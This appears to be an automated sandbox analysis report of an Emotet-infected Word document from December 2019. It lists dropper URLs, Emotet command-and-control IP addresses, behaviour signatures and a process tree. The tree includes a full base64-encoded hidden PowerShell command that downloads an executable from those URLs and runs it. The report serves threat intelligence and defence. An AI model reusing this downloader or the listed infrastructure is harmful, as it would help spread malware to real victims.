Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    09-12-2019 17:11

General

  • Target

    6b4755766b6f0a943acc79bdcc1f348ba24796d6d502491d417a3e119b0d4c24.doc

  • Sample

    191209-m7qsvr4zee

  • SHA256

    6b4755766b6f0a943acc79bdcc1f348ba24796d6d502491d417a3e119b0d4c24

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/9mg/

exe.dropper

http://vikstory.ca/h/k/

exe.dropper

https://brelaxmassage.com/wp-includes/BRU8KftsJ/

exe.dropper

https://obgyn.toughjobs.org/wp-admin/h6NG/

exe.dropper

https://uaeessay.com/wp-admin/mKUMNk/

Extracted

Family

emotet

C2

12.176.19.218:80

66.76.63.99:80

100.14.117.137:80

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

176.106.183.253:8080

31.172.240.91:8080

139.130.241.252:443

188.152.7.140:80

110.142.38.16:80

200.71.148.138:8080

87.106.139.101:8080

91.187.80.246:80

195.244.215.206:80

93.147.141.5:80

104.131.11.150:8080

104.236.246.93:8080

181.57.193.14:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6b4755766b6f0a943acc79bdcc1f348ba24796d6d502491d417a3e119b0d4c24.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4840
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:328
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABIAGoAZgBiAG0AYwB4AG8AegBtAGEAPQAnAEcAagB2AGEAYgB0AHkAdABnAGIAaABmACcAOwAkAE8AcABtAGIAaQBxAGoAeABoAGsAIAA9ACAAJwA0ADEANQAnADsAJABQAHIAaABwAG8AdAB5AHYAeQBhAGEAagA9ACcASgBiAHAAagBoAGMAZwBuAHcAZwByACcAOwAkAFAAYQBxAGgAZgBlAGQAYwBtAGwAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBwAG0AYgBpAHEAagB4AGgAawArACcALgBlAHgAZQAnADsAJABCAGgAeQB2AGIAdwBjAHkAaABmAGsAcAA9ACcATwB4AHoAYgBqAGMAZgB3AHoAJwA7ACQAVgBwAHYAbAB3AHoAYwB0AD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMATABJAEUATgBUADsAJABIAG4AbwBiAGEAdQBiAG0AbwB6AGMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA5AG0AZwAvACoAaAB0AHQAcAA6AC8ALwB2AGkAawBzAHQAbwByAHkALgBjAGEALwBoAC8AawAvACoAaAB0AHQAcABzADoALwAvAGIAcgBlAGwAYQB4AG0AYQBzAHMAYQBnAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEIAUgBVADgASwBmAHQAcwBKAC8AKgBoAHQAdABwAHMAOgAvAC8AbwBiAGcAeQBuAC4AdABvAHUAZwBoAGoAbwBiAHMALgBvAHIAZwAvAHcAcAAtAGEAZABtAGkAbgAvAGgANgBOAEcALwAqAGgAdAB0AHAAcwA6AC8ALwB1AGEAZQBlAHMAcwBhAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG0ASwBVAE0ATgBrAC8AJwAuACIAUwBQAGAATABpAHQAIgAoACcAKgAnACkAOwAkAEQAYwBuAGMAdQBiAHgAawB5AHgAbgB6AGYAPQAnAFQAcABiAHcAZQB0AGYAdQBzAHAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMAdwBwAHAAeABzAG0AbwBrACAAaQBuACAAJABIAG4AbwBiAGEAdQBiAG0AbwB6AGMAKQB7AHQAcgB5AHsAJABWAHAAdgBsAHcAegBjAHQALgAiAEQATwBgAHcAbgBgAEwAbwBhAEQAZgBJAGAAbABFACIAKAAkAFMAdwBwAHAAeABzAG0AbwBrACwAIAAkAFAAYQBxAGgAZgBlAGQAYwBtAGwAdAApADsAJABJAGIAcABlAGgAZwB6AHkAdAA9ACcATgBkAG4AZQBkAGsAYQB4AHUAZAB3AGkAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAYQBxAGgAZgBlAGQAYwBtAGwAdAApAC4AIgBMAGAAZQBgAE4ARwB0AGgAIgAgAC0AZwBlACAAMwA2ADUAOAA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABgAEEAUgBUACIAKAAkAFAAYQBxAGgAZgBlAGQAYwBtAGwAdAApADsAJABDAHgAaAB1AG0AeQB2AHAAagBpAHQAPQAnAEYAegBzAGUAcwBvAHMAcgBwAGMAawByACcAOwBiAHIAZQBhAGsAOwAkAEMAbAB0AHoAaQBlAHQAeAA9ACcAVQBrAG8AaQB4AHUAdQBxAHYAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAGQAeABoAGwAdwBtAHUAPQAnAFQAdwB0AGUAcQBqAGsAYgAnAA==
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Users\Admin\415.exe
        "C:\Users\Admin\415.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4552
        • C:\Users\Admin\415.exe
          --dadc45d6
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:4564

    Network

    MITRE ATT&CK Enterprise v6

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    Downloads